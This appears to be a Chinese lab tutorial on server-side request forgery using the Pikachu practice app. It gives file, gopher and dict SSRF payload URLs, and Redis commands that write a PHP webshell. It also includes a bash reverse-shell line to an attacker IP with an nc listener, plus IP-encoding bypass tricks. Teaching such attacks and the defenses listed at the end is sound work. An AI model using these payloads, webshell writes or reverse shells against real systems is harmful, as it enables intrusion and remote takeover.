SSRF攻击(服务端请求伪造)

1.SSRF(服务端请求伪造)原理

概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
原理:参数给变量未经过滤,使用了不安全的函数curl_init   、 file_get_contents、 fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文件,探测端口等

2.SSRF漏洞可以利用的用途
    

1)可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息
2)对内网的web进行指纹识别,通过访问默认文件实现
3)利用file协议读取本地文件
4)攻击运行在内网或本地的应用程序(比如溢出)
5)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等) 

3.SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大curl_init   、 file_get_contents、 fsockopen(白盒测试,代码审计)

4.协议

  •  file协议的运用

     读取文件(可以获取敏感文件的信息)

 http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt

SSRF攻击(服务端请求伪造)_第1张图片

判断是否为php
  http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

SSRF攻击(服务端请求伪造)_第2张图片

  • gopher协议的运用(万金油)

 发送各种格式的请求包

在这里只能改为Post提交,还可以使用gopher协议

SSRF攻击(服务端请求伪造)_第3张图片

利用函数,可以使用get访问
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://10.0.0.130:91%20/_POST%20/sql.php%20HTTP/1.1%250d%250aHost:%2010.0.0.130:91%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

SSRF攻击(服务端请求伪造)_第4张图片

  • dict协议应用

字典服务器协议

http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.130:3306/info  获取服务器端口运行的版本信息 

SSRF攻击(服务端请求伪造)_第5张图片

5.redis(6379)未授权访问漏洞(redis写webshell)

  • 搭建redis

 上传文件到root目录下

SSRF攻击(服务端请求伪造)_第6张图片

        cd redis-6.0.16/

SSRF攻击(服务端请求伪造)_第7张图片

 make
 cd src

SSRF攻击(服务端请求伪造)_第8张图片

 cp redis-server /usr/bin

SSRF攻击(服务端请求伪造)_第9张图片

 cd ..
cp redis.conf /etc

SSRF攻击(服务端请求伪造)_第10张图片

vi /etc/redis.conf   修改配置文集   允许任何人访问

SSRF攻击(服务端请求伪造)_第11张图片

改为no 

SSRF攻击(服务端请求伪造)_第12张图片

  redis-server /etc/redis.conf    启动
SSRF攻击(服务端请求伪造)_第13张图片
检查进程  

SSRF攻击(服务端请求伪造)_第14张图片

 测试是否运行 redis-cli  -h 10.0.0.130  -p 6379
  另一台机器(同样安装)

SSRF攻击(服务端请求伪造)_第15张图片

  •     Linux写webshell条件

        1、在攻击机上能用redis-cli连上;(将127.0.0.1改为0.0.0.0)客户端
         2、开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
        3、目录还需要具有文件写入权限

  •  Linux写入webshell (知道物理路径)  写入语句
 redis-cli  -h 192.168.56.131 -p 6379
 config set dir /var/www/html    限制路径
 config set dbfilename shell.php   设置名字
 set webshell "\n\n\n\n\n\n"  写木马
 save    保存

SSRF攻击(服务端请求伪造)_第16张图片

写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
1)同时打开kali  输入:pwd查找当时路径

SSRF攻击(服务端请求伪造)_第17张图片

 2)输入命令查询:ls

SSRF攻击(服务端请求伪造)_第18张图片

 3)切换路径:cd /var/www/html 

SSRF攻击(服务端请求伪造)_第19张图片

4)查询:ls

SSRF攻击(服务端请求伪造)_第20张图片

5)查看命令:cat  shell.php

SSRF攻击(服务端请求伪造)_第21张图片

 启动apache    service apache2 start 
 netstat -lnt    查看端口

SSRF攻击(服务端请求伪造)_第22张图片

   访问apache  

SSRF攻击(服务端请求伪造)_第23张图片

网站测试:http://10.0.0.130/shell.php

 蚁剑连接木马:http://192.168.56.131/shell.php(或者菜刀)

SSRF攻击(服务端请求伪造)_第24张图片

不知道物理路径直接bash反弹

SSRF攻击(服务端请求伪造)_第25张图片

 nc.exe -lvvp 7778

SSRF攻击(服务端请求伪造)_第26张图片

bash -i >& /dev/tcp/192.168.13.249/7778    centos 7
 nc.exe

SSRF攻击(服务端请求伪造)_第27张图片

   正向连接攻击者连接受害者,反向连接受害者连接攻击者 

6.如何挖到SSRF漏洞(黑盒测试)?
    

    1)分享:通过url地址分享网页的内容(例如拼多多,改一下地址)
    2)转码服务
    3)在线翻译
    4)图片加载与下载;通过url地址加载与下载图片
    5)图片、文章收藏功能
    6)未公开的api实现与其他调用得url的功能
    7)从url关键词来查找
        share,wap,url.link.src,source,target,display
        sourceURL,imageURL,domain,u,3g 

7.绕过方法
    

  •     更改IP地址的写法

        8进制
            8进制格式:0300.0250.0.1
        16进制
            16进制格式:0xC0.0xA8.0.1
        10进制
            10进制整数格式:3232235521

  •     利用解析URL出现的问题(把域名拼接上去,加@符号)

   8.防范方法
    

    1)过滤192.168.0.0/10.0.0.0/172.16.0.0  localhost 私有地址、ipv6地址
    2)过滤file:///    、 dict://   、gopher://   、ftp://、 http://   https://    php:///危险schema
        http://192.168.56.128:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.tx        
    3)白名单过滤
    4)对返回的内容进行识别

你可能感兴趣的:(常见的漏洞,安全,网络)